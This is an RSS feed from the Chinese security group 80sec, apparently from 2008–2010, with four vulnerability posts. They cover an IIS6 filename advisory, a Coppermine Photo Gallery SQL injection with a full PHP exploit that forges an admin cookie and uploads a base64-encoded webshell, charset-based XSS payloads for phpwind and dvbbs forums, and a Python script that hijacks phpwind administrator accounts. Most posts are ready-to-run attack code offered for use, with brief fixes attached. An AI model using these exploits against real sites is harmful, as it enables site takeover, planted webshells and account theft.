<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>80sec &#187; 漏洞发布</title>
	<atom:link href="http://www.80sec.com/category/exploits/feed" rel="self" type="application/rss+xml" />
	<link>http://www.80sec.com</link>
	<description>Know it then hack it!</description>
	<lastBuildDate>Thu, 19 Aug 2010 08:43:01 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Microsoft Internet Infomation Server 6.0 ISAPI Filename Analytic Vulnerability</title>
		<link>http://www.80sec.com/microsoft-internet-infomation-server-6-isapi-filename-analytic-vulnerabilitie.html</link>
		<comments>http://www.80sec.com/microsoft-internet-infomation-server-6-isapi-filename-analytic-vulnerabilitie.html#comments</comments>
		<pubDate>Fri, 24 Apr 2009 06:39:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[漏洞发布]]></category>
		<category><![CDATA[Filename]]></category>
		<category><![CDATA[IIS6]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Vulnerability]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=57</guid>
		<description><![CDATA[Microsoft Internet Infomation Server 6.0 ISAPI Filename Analytic Vulnerability
function Copyright()
{
	var Author=&#8221;80sec&#8221;;
	var Email=&#8221;kEvin#80sec.com&#8221;.replace(&#8220;#&#8221;,&#8221;@&#8221;)
	var Site=&#8221;http://www.80sec.com&#8221;;
	var Date=new Date(2009,4,24).toLocaleString();
	var Reference=&#8221;http://www.80sec.com/Microsoft-Internet-Infomation-Server-6-ISAPI-filename-analytic-Vulnerabilitie.html&#8221;;
	return Reference;
}
/*
	漏洞描述:
	
		IIS6 (Internet Infomation Server 6.0) 是微软出品的一款WEB服务器系统, 广泛用于各种个人/商业信息发布/网站架设领域。80sec在测试中发现, IIS设计上在处理畸形文件名的时候存在一个严重的安全漏洞, 可能绕过web程序的逻辑检查从而能导致服务器以IIS进程权限执行任意恶意用户定义的脚本, 黑客可以通过制造畸形的服务器文件来触发该	漏洞, 并从而控制服务器.
	漏洞厂商: 
		Microsoft [ http:\/\/www.microsoft.com ]
	漏洞测试:
		Undefined
	解决方案:
		等待微软更新官方补丁.
*/
]]></description>
			<content:encoded><![CDATA[<p>Microsoft Internet Infomation Server 6.0 ISAPI Filename Analytic Vulnerability</p>
<p>function Copyright()<br />
{</p>
<p>	var Author=&#8221;80sec&#8221;;<br />
	var Email=&#8221;kEvin#80sec.com&#8221;.replace(&#8220;#&#8221;,&#8221;@&#8221;)<br />
	var Site=&#8221;http://www.80sec.com&#8221;;<br />
	var Date=new Date(2009,4,24).toLocaleString();<br />
	var Reference=&#8221;http://www.80sec.com/Microsoft-Internet-Infomation-Server-6-ISAPI-filename-analytic-Vulnerabilitie.html&#8221;;<br />
	return Reference;</p>
<p>}</p>
<p>/*</p>
<p>	漏洞描述:<br />
	<span id="more-57"></span><br />
		IIS6 (Internet Infomation Server 6.0) 是微软出品的一款WEB服务器系统, 广泛用于各种个人/商业信息发布/网站架设领域。80sec在测试中发现, IIS设计上在处理畸形文件名的时候存在一个严重的安全漏洞, 可能绕过web程序的逻辑检查从而能导致服务器以IIS进程权限执行任意恶意用户定义的脚本, 黑客可以通过制造畸形的服务器文件来触发该	漏洞, 并从而控制服务器.</p>
<p>	漏洞厂商: </p>
<p>		Microsoft [ http:\/\/www.microsoft.com ]</p>
<p>	漏洞测试:</p>
<p>		Undefined</p>
<p>	解决方案:</p>
<p>		等待微软更新官方补丁.</p>
<p>*/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/microsoft-internet-infomation-server-6-isapi-filename-analytic-vulnerabilitie.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Coppermine Photo Gallery任意命令执行漏洞</title>
		<link>http://www.80sec.com/coppermine-photo-gallery-exploit.html</link>
		<comments>http://www.80sec.com/coppermine-photo-gallery-exploit.html#comments</comments>
		<pubDate>Mon, 16 Jun 2008 01:22:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web应用程序安全]]></category>
		<category><![CDATA[漏洞发布]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=12</guid>
		<description><![CDATA[漏洞说明：Coppermine Photo Gallery是一款php+mysql搭建的广泛使用的相册程序，但是在编码过程中的一个错误导致任意用户可以提交数据而控制整个站点。
漏洞厂商：http://coppermine-gallery.net/
漏洞发现：http://www.80sec.com
漏洞危害：高
漏洞来源：http://www.80sec.com/release/Coppermine-Photo-Gallery-exploit.txt

漏洞分析：
	Coppermine Photo Gallery全局处理数据在include/init.inc.php中如下：
	
	$HTML_SUBST = array('&#038;' => '&#38;', '"' => '&#34;', '' => '&#62;', '%26' => '&#38;', '%22' => '&#34;', '%3C' => '&#60;', '%3E' => '&#62;','%27' => '&#39;', "'" => '&#39;');
$keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST');
if (get_magic_quotes_gpc()) {
        if (is_array($_POST)) {
     [...]]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：Coppermine Photo Gallery是一款php+mysql搭建的广泛使用的相册程序，但是在编码过程中的一个错误导致任意用户可以提交数据而控制整个站点。<br />
漏洞厂商：http://coppermine-gallery.net/<br />
漏洞发现：http://www.80sec.com<br />
漏洞危害：高<br />
漏洞来源：http://www.80sec.com/release/Coppermine-Photo-Gallery-exploit.txt<br />
<span id="more-12"></span><br />
漏洞分析：</p>
<p>	Coppermine Photo Gallery全局处理数据在include/init.inc.php中如下：</p>
<p>	<code><br />
	$HTML_SUBST = array('&#038;' => '&amp;', '"' => '&quot;', '<' => '&lt;', '>' => '&gt;', '%26' => '&amp;', '%22' => '&quot;', '%3C' => '&lt;', '%3E' => '&gt;','%27' => '&#39;', "'" => '&#39;');</p>
<p>$keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST');</p>
<p>if (get_magic_quotes_gpc()) {<br />
        if (is_array($_POST)) {<br />
                foreach ($_POST as $key => $value) {<br />
                        if (!is_array($value))<br />
                                $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);<br />
                        if (!in_array($key, $keysToSkip) &#038;&#038; isset($$key) &#038;&#038; ini_get('register_globals') == '1') unset($$key);<br />
                }<br />
        }</p>
<p>        if (is_array($_GET)) {<br />
                foreach ($_GET as $key => $value) {<br />
                        unset($_GET[$key]);<br />
                        $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);<br />
                        if (!in_array($key, $keysToSkip) &#038;&#038; isset($$key) &#038;&#038; ini_get('register_globals') == '1') unset($$key);<br />
                }<br />
        }</p>
<p>        if (is_array($_COOKIE)) {<br />
                foreach ($_COOKIE as $key => $value) {<br />
                        if (!is_array($value))<br />
                                $_COOKIE[$key] = stripslashes($value);<br />
                        if (!in_array($key, $keysToSkip) &#038;&#038; isset($$key) &#038;&#038; ini_get('register_globals') == '1') unset($$key);<br />
                }<br />
        }<br />
        if (is_array($_REQUEST)) {<br />
                foreach ($_REQUEST as $key => $value) {<br />
                        if (!is_array($value))<br />
                                $_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);<br />
                        if (!in_array($key, $keysToSkip) &#038;&#038; isset($$key) &#038;&#038; ini_get('register_globals') == '1') unset($$key);<br />
                }<br />
        }<br />
} else {<br />
        if (is_array($_POST)) {<br />
                foreach ($_POST as $key => $value) {<br />
                        if (!is_array($value))<br />
                                $_POST[$key] = strtr($value, $HTML_SUBST);<br />
                        if (!in_array($key, $keysToSkip) &#038;&#038; isset($$key) &#038;&#038; ini_get('register_globals') == '1') unset($$key);<br />
                }<br />
        }</p>
<p>        if (is_array($_GET)) {<br />
                foreach ($_GET as $key => $value) {<br />
                        unset($_GET[$key]);<br />
                        $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);<br />
                        if (!in_array($key, $keysToSkip) &#038;&#038; isset($$key) &#038;&#038; ini_get('register_globals') == '1') unset($$key);<br />
                }<br />
        }</p>
<p>        if (is_array($_COOKIE)) {<br />
                foreach ($_COOKIE as $key => $value) {<br />
                        if (!in_array($key, $keysToSkip) &#038;&#038; isset($$key) &#038;&#038; ini_get('register_globals') == '1') unset($$key);<br />
                }<br />
        }<br />
        if (is_array($_REQUEST)) {<br />
                foreach ($_REQUEST as $key => $value) {<br />
                        if (!is_array($value))<br />
                                $_REQUEST[$key] = strtr($value, $HTML_SUBST);<br />
                        if (!in_array($key, $keysToSkip) &#038;&#038; isset($$key) &#038;&#038; ini_get('register_globals') == '1') unset($$key);<br />
                }<br />
        }<br />
}<br />
	</code></p>
<p>可以看到对COOKIE中的数据没有做任何处理，然后在处理用户SESSION-COOKIE的地方/bridge/coppermine.inc.php</p>
<p>	<code><br />
	        $sessioncookie = $_COOKIE[$this->client_id];</p>
<p>                // Create the session id by concat(session_cookie_value, client_id)<br />
                $session_id = $sessioncookie.$this->client_id;</p>
<p>		......</p>
<p>                // Check for valid session if session_cookie_value exists<br />
                if ($sessioncookie) {</p>
<p>                    // Check for valid session<br />
                    $sql =  'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");';<br />
	</code></p>
<p>	对session_id的操作的md5是在SQL语句里的，所以可以轻易Bypass，分析数据库结果和认证机制可以得出exploit的COOKIE为：</p>
<p>	<code><br />
	")union/**/select/**/1/*<br />
	</code></p>
<p>	只要提交如上COOKIE就可以获得管理员身份，然后就可以上传恶意文件得到站点权限</p>
<p>漏洞利用：80sec提供漏洞利用程序如下：</p>
<p>	<code><br />
<?php<br />
print_r("</p>
<p>+------------------------------------------------------------------+</p>
<p>Coppermine Photo Gallery SQL注射+命令执行漏洞<br />
漏洞影响 version < 1.4.16<br />
欢迎访问 http://www.80sec.com<br />
漏洞发现 jianxin#80sec.com</p>
<p>用法：	php.exe exp.php www.80sec.com /cpg1416/</p>
<p>		获得webshell地址在</p>
<p>http://www.80sec.com/cpg1416/plugins/loveshell.php</p>
<p>		密码 shell<br />
Good Luck <img src='http://www.80sec.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>+------------------------------------------------------------------+<br />
");</p>
<p>ini_set("max_execution_time",0);<br />
error_reporting(7);</p>
<p>$blogpath="$argv[2]";<br />
$server="$argv[1]";<br />
$cookie='';</p>
<p>$evilzip="UEsDBBQAAAAIAGeTdDgKL31nOgAAADsAAAANAAAAbG92ZXNoZWxsLnBocLOxL8go4OVKLUvM0VCJD3INDHUNDolWL85IzclRj9W05uWyt+Pl8skvSwULKTjn56YWK3ikFqUqAgBQSwECFAAUAAAACABnk3Q4Ci99ZzoAAAA7AAAADQAAAAAAAAABACAAAAAAAAAAbG92ZXNoZWxsLnBocFBLBQYAAAAAAQABADsAAABlAAAAAAA=";</p>
<p>$evilzip=base64_decode($evilzip);</p>
<p>$data=<<<www_80sec_com<br />
-----------------------------12345671234567<br />
Content-Disposition: form-data; name="plugin"; filename="c:\\1.zip"<br />
Content-Type: application/x-zip-compressed</p>
<p>$evilzip<br />
-----------------------------12345671234567<br />
www_80sec_com;</p>
<p>$temp=send('',"index.php");<br />
preg_match_all('/Set-Cookie: ([a-f0-9]+)=/i',$temp,$cookiepre);</p>
<p>$cookiepre=$cookiepre[1][0];</p>
<p>if($cookiepre){<br />
	echo "Make Evil Data!\t\r\n";<br />
	$cookie=$cookiepre.'='.urlencode('")union/**/select/**/1/*;');<br />
}</p>
<p>echo "Make Evil Shell!\t\r\n";<br />
send($data,"pluginmgr.php?op=upload",'multipart/form-data; boundary=---------------------------12345671234567');</p>
<p>$shell="http://$server".$blogpath."plugins/loveshell.php";</p>
<p>echo "Look at $shell <img src='http://www.80sec.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> \r\n";<br />
echo "Or login with cookie ".urlencode('")union/**/select/**/1/*;')."\r\n";</p>
<p>function send($cmd,$script,$type='')<br />
{<br />
  global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip;</p>
<p>  $type ? $content=$type : $content="application/x-www-form-urlencoded";</p>
<p>  $path=$blogpath."$script";<br />
  $message = "POST ".$path." HTTP/1.1\r\n";<br />
  $message .= "Accept: */*\r\n";<br />
  $message .= "Accept-Language: zh-cn\r\n";<br />
  $message .= "Referer: http://".$server.$path."\r\n";<br />
  $message .= "Content-Type: $content\r\n";<br />
  $message .= "User-Agent: ".$useragent."\r\n";<br />
  $message .= "Host: ".$server."\r\n";<br />
  $message .= "Content-length: ".strlen($cmd)."\r\n";<br />
  $message .= "Connection: Keep-Alive\r\n";<br />
  $message .= "Cookie: ".$cookie."\r\n";<br />
  $message .= $evilip."\r\n";<br />
  $message .= $cmd."\r\n";</p>
<p>  //echo $message;<br />
  $fd = fsockopen( $server, 80 );<br />
  fputs($fd,$message);<br />
  $resp = "
<pre>";
  while($fd&#038;&#038;!feof($fd)) {
  $resp .= fread($fd,1024);
  }
  fclose($fd);
  $resp .="</pre>
<p>";<br />
  if($debug) {echo $cmd;echo $resp;}<br />
  //echo $resp;<br />
  return $resp;<br />
}<br />
?><br />
	</code></p>
<p>漏洞修复：将认证放到php中处理，即将上述问题语句改为</p>
<p>	<code><br />
	                    $sql =  'select user_id from '.$this->sessionstable." where session_id = '" . md5($session_id) . "'";<br />
	</code>	</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/coppermine-photo-gallery-exploit.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>字符集导致的浏览器跨站脚本攻击</title>
		<link>http://www.80sec.com/charset-xss.html</link>
		<comments>http://www.80sec.com/charset-xss.html#comments</comments>
		<pubDate>Fri, 06 Jun 2008 08:48:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[web应用程序安全]]></category>
		<category><![CDATA[客户端安全]]></category>
		<category><![CDATA[漏洞发布]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=8</guid>
		<description><![CDATA[						&#124;=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;=&#124;
						&#124;=&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;=[ 字符集导致的浏览器跨站脚本攻击 ]=&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;=&#124;
						&#124;=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;=&#124;
						&#124;=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-=[ By jianxin ]=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;=&#124;
						&#124;=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-=[ jianxin@80sec.com ]=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-=&#124;
						&#124;=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;=&#124;
	前言：这种利用类型的攻击早在06年就被安全研究人员指出，不过一直没有在国内重视。而由于我们国内大部分站点正是这种有漏洞的字符集，所以影响还是比较大，希望各大站快速修复。可以看看http://applesoup.googlepages.com/。
	文中
&#60HEAD>
&#60TITLE>80sec test&#60/TITLE>
&#60meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
&#60/HEAD>
&#60BODY>
&#60script>
window.onerror=function(){
	alert('Vul');
	return true;
}
&#60/script>
&#60script>x='&#60?php echo chr(0xC1);?>';y='[User_IN_PUT]';&#60/script>
&#60/BODY>
&#60/HTML>

	这里即使是过滤了&#60>&#8217;\等字符一样可以利用非法字符集序列来实现\的作用，因为它会把原来存在的&#8217;给结合掉，然后前面的&#8217;找不到闭合，后面[User_IN_PUT]就可以用来执行js代码了。
2	Bypass某些属性的检查规则
为了避免直接使用html导致出现漏洞，一些论坛和程序使用了UBB标签，但是在gbk等多字节编码下，一样容易出现问题，以最容易出现问题的一个UBB标签为例子：

[color=xyz&#60?php echo chr(0xC1);?>][/color][color=abc onmouseover=alert(/xss/) s=&#60?php echo chr(0xC1);?>]exploited[/color]

0xC1是一个gb2312的第一个字节，上面结果将会转化为：

&#60font color="xyz?>&#60/font>&#60font color="abc onmouseover=alert(/xss/) s=?>exploited&#60/font>

	其中的alert(/xss/)将会做一个事件执行，所以即使UBB标签也变得不安全，能饶过&#8221;的保护。许多论坛都没有注意这点，phpwind，动网等论坛就容易受到这种攻击。而Discuz通过在转换结果之后附加一个空格，修补了这一安全问题。这里使用到ubb标签其实有一个很有意思的tips在里面，因为有的数据库会抛弃与指定字符集不匹配的字符，所以必须借助后面的]等字符来形成一个有效的汉字才能存储到数据库里，当然像ACCESS这种就不会有问题了，另外一些语言在处理字符串的时候会强制字符串的字符集类型，不合法的字符会导致转码的失败或者遭到抛弃，所以也不能利用这种类型的攻击。
3	几个小例子
Phpwind论坛charset跨站脚本漏洞

	[email=xxxx羃[/email][email=xxxx onmouseover=alert() s=羃]Fuck Me[/email]
	[font=宋体;0xc1]xxx[/font][url=http://onmouseover=alert()//]xx[/url]

	羃是一个特殊的十六进制编码和后面的]结合出来的字符，第一个种方法可以直接复制的：）
	0xc1表示一个十六进制的字符编码
同样在dvbbs论坛也很容易产生一个xss代码如下

	&#60font face="微软雅羃>xxxxxxxxxxx&#60/font>&#60font face=" onmouseover=alert() x=羃>xxxxxxxxxxx&#60/font>

均在新版和老版测试通过。
4	关于修复
	对于程序设计者，由于UTF-8字符集的可靠性，不存在这个安全漏洞，所以大家在设计站点的时候可以考虑使用UTF-8字符集。
	对于广大开发者，可以牢记最小输入等于最大安全的原则，在匹配正则的时候限制输入的字符的范围，尽量匹配ascii字符，如果必须使用中文，可以考虑类似于discuz的在中文后面添加空格修复该问题。
	对于广大用户，这个漏洞由于浏览器处理页面字符的不同，可以考虑使用如Firefox浏览器，可以避免一部分这样的问题。
]]></description>
			<content:encoded><![CDATA[<p>						|=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;=|<br />
						|=&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;=[ 字符集导致的浏览器跨站脚本攻击 ]=&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;=|<br />
						|=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;=|<br />
						|=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-=[ By jianxin ]=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;=|<br />
						|=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-=[ jianxin@80sec.com ]=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-=|<br />
						|=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;=|</p>
<p>	前言：这种利用类型的攻击早在06年就被安全研究人员指出，不过一直没有在国内重视。而由于我们国内大部分站点正是这种有漏洞的字符集，所以影响还是比较大，希望各大站快速修复。可以看看http://applesoup.googlepages.com/。</p>
<p>	文中<已经被替换为&#60,如果需要文档,请访问http://www.80sec.com/release/charset-xss.txt<br />
<span id="more-8"></span><br />
	在一般的web程序里，显示数据给浏览器的时候都会指定一个字符集，在国内平时我们用到的字符集有utf-8，GBK，gb2312等等，字符集指示了浏览器该如何对待返回的数据。其中gb2312和GBK字符集使用得非常广泛，但是经证明，IE在处理这些宽字符集的时候存在问题，导致可能程序的一些安全规则被Bypass掉，引发严重的跨站脚本安全漏洞。在IE里，如果它遇到一个字符，它是指定字符集里的第一位的时候，就会认为其后续字符和当前字符构成一个合法的字符，这样它在解析包括html标签，处理javascript，Css时都会做如此考虑，测试版本为ie6和ie7。</p>
<p>1	Bypass某些js的检查规则</p>
<p><code><br />
&#60HTML><br />
&#60HEAD><br />
&#60TITLE>80sec test&#60/TITLE><br />
&#60meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><br />
&#60/HEAD><br />
&#60BODY><br />
&#60script><br />
window.onerror=function(){<br />
	alert('Vul');<br />
	return true;<br />
}<br />
&#60/script><br />
&#60script>x='&#60?php echo chr(0xC1);?>';y='[User_IN_PUT]';&#60/script><br />
&#60/BODY><br />
&#60/HTML><br />
</code></p>
<p>	这里即使是过滤了&#60>&#8217;\等字符一样可以利用非法字符集序列来实现\的作用，因为它会把原来存在的&#8217;给结合掉，然后前面的&#8217;找不到闭合，后面[User_IN_PUT]就可以用来执行js代码了。</p>
<p>2	Bypass某些属性的检查规则</p>
<p>为了避免直接使用html导致出现漏洞，一些论坛和程序使用了UBB标签，但是在gbk等多字节编码下，一样容易出现问题，以最容易出现问题的一个UBB标签为例子：</p>
<p><code><br />
[color=xyz&#60?php echo chr(0xC1);?>][/color][color=abc onmouseover=alert(/xss/) s=&#60?php echo chr(0xC1);?>]exploited[/color]<br />
</code><br />
0xC1是一个gb2312的第一个字节，上面结果将会转化为：</p>
<p><code><br />
&#60font color="xyz?>&#60/font>&#60font color="abc onmouseover=alert(/xss/) s=?>exploited&#60/font><br />
</code><br />
	其中的alert(/xss/)将会做一个事件执行，所以即使UBB标签也变得不安全，能饶过&#8221;的保护。许多论坛都没有注意这点，phpwind，动网等论坛就容易受到这种攻击。而Discuz通过在转换结果之后附加一个空格，修补了这一安全问题。这里使用到ubb标签其实有一个很有意思的tips在里面，因为有的数据库会抛弃与指定字符集不匹配的字符，所以必须借助后面的]等字符来形成一个有效的汉字才能存储到数据库里，当然像ACCESS这种就不会有问题了，另外一些语言在处理字符串的时候会强制字符串的字符集类型，不合法的字符会导致转码的失败或者遭到抛弃，所以也不能利用这种类型的攻击。</p>
<p>3	几个小例子</p>
<p>Phpwind论坛charset跨站脚本漏洞</p>
<p><code><br />
	[email=xxxx羃[/email][email=xxxx onmouseover=alert() s=羃]Fuck Me[/email]<br />
	[font=宋体;0xc1]xxx[/font][url=http://onmouseover=alert()//]xx[/url]<br />
</code><br />
	羃是一个特殊的十六进制编码和后面的]结合出来的字符，第一个种方法可以直接复制的：）<br />
	0xc1表示一个十六进制的字符编码</p>
<p>同样在dvbbs论坛也很容易产生一个xss代码如下</p>
<p><code><br />
	&#60font face="微软雅羃>xxxxxxxxxxx&#60/font>&#60font face=" onmouseover=alert() x=羃>xxxxxxxxxxx&#60/font><br />
</code></p>
<p>均在新版和老版测试通过。</p>
<p>4	关于修复</p>
<p>	对于程序设计者，由于UTF-8字符集的可靠性，不存在这个安全漏洞，所以大家在设计站点的时候可以考虑使用UTF-8字符集。<br />
	对于广大开发者，可以牢记最小输入等于最大安全的原则，在匹配正则的时候限制输入的字符的范围，尽量匹配ascii字符，如果必须使用中文，可以考虑类似于discuz的在中文后面添加空格修复该问题。<br />
	对于广大用户，这个漏洞由于浏览器处理页面字符的不同，可以考虑使用如Firefox浏览器，可以避免一部分这样的问题。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/charset-xss.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>phpwind 管理权限泄露漏洞利用程序</title>
		<link>http://www.80sec.com/phpwind-exploit-2.html</link>
		<comments>http://www.80sec.com/phpwind-exploit-2.html#comments</comments>
		<pubDate>Sat, 31 May 2008 08:42:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[漏洞发布]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=5</guid>
		<description><![CDATA[Python代码 各位大大自己分析写其他版吧
常来http://www.80sec.com
# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
def banner():
print ""
print "########################################################"
print "Phpwind所有版本管理权限泄露漏洞利用poc"
print "Copyright (C) 2006"
print "jianxin@80sec.com"
print "80sec是一个新的致力于web安全的小团体"
print "http://www.80sec.com"
def usage():
banner()
print "Usage:\n"
print " $ ./phpwind.py pwforumurl usertoattack\n"
print " pwforumurl 目标论坛地址如http://www.80sec.com/"
print " usertoattack 目标拥有权限的斑竹或管理员"
print " 攻击结果将会在目标论坛注册一个和目标用户一样的帐户"
print " 最新版本可以使用uid登陆"
print " 其他版本可以使用cookie+useragent登陆"
print "########################################################"
print ""
argvs=sys.argv
usage()
data = "regname=%s%s1®pwd=@80sec®pwdrepeat=@80sec®email=foo@foo.com®emailtoall=1&#38;step=2" % (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]
request = urllib2.Request(
url = [...]]]></description>
			<content:encoded><![CDATA[<p>Python代码 各位大大自己分析写其他版吧<br />
常来http://www.80sec.com</p>
<p><code># -*- coding: gb2312 -*-<br />
import urllib2,httplib,sys<br />
httplib.HTTPConnection.debuglevel = 1<br />
cookies = urllib2.HTTPCookieProcessor()<br />
opener = urllib2.build_opener(cookies)</p>
<p>def banner():<br />
print ""<br />
print "########################################################"<br />
print "Phpwind所有版本管理权限泄露漏洞利用poc"<br />
print "Copyright (C) 2006"<br />
print "jianxin@80sec.com"<br />
print "80sec是一个新的致力于web安全的小团体"<br />
print "http://www.80sec.com"</p>
<p>def usage():<br />
banner()<br />
print "Usage:\n"<br />
print " $ ./phpwind.py pwforumurl usertoattack\n"<br />
print " pwforumurl 目标论坛地址如http://www.80sec.com/"<br />
print " usertoattack 目标拥有权限的斑竹或管理员"<br />
print " 攻击结果将会在目标论坛注册一个和目标用户一样的帐户"<br />
print " 最新版本可以使用uid登陆"<br />
print " 其他版本可以使用cookie+useragent登陆"<br />
print "########################################################"<br />
print ""</p>
<p>argvs=sys.argv<br />
usage()</p>
<p>data = "regname=%s%s1®pwd=@80sec®pwdrepeat=@80sec®email=foo@foo.com®emailtoall=1&amp;step=2" % (argvs[2],"%c1")<br />
pwurl = "%s/register.php" % argvs[1]</p>
<p>request = urllib2.Request(<br />
url = pwurl ,<br />
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},<br />
data = data)</p>
<p>f=opener.open(request)<br />
headers=f.headers.dict<br />
cookie=headers["set-cookie"]<br />
try:<br />
if cookie.index('winduser'):<br />
print "Exploit Success!"<br />
print "Login with uid password @80sec or Cookie:"<br />
print cookie<br />
print "User-agent: 80sec owned this"<br />
except:<br />
print "Error! http://www.80sec.com"<br />
print "Connect root#80sec.com"<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/phpwind-exploit-2.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
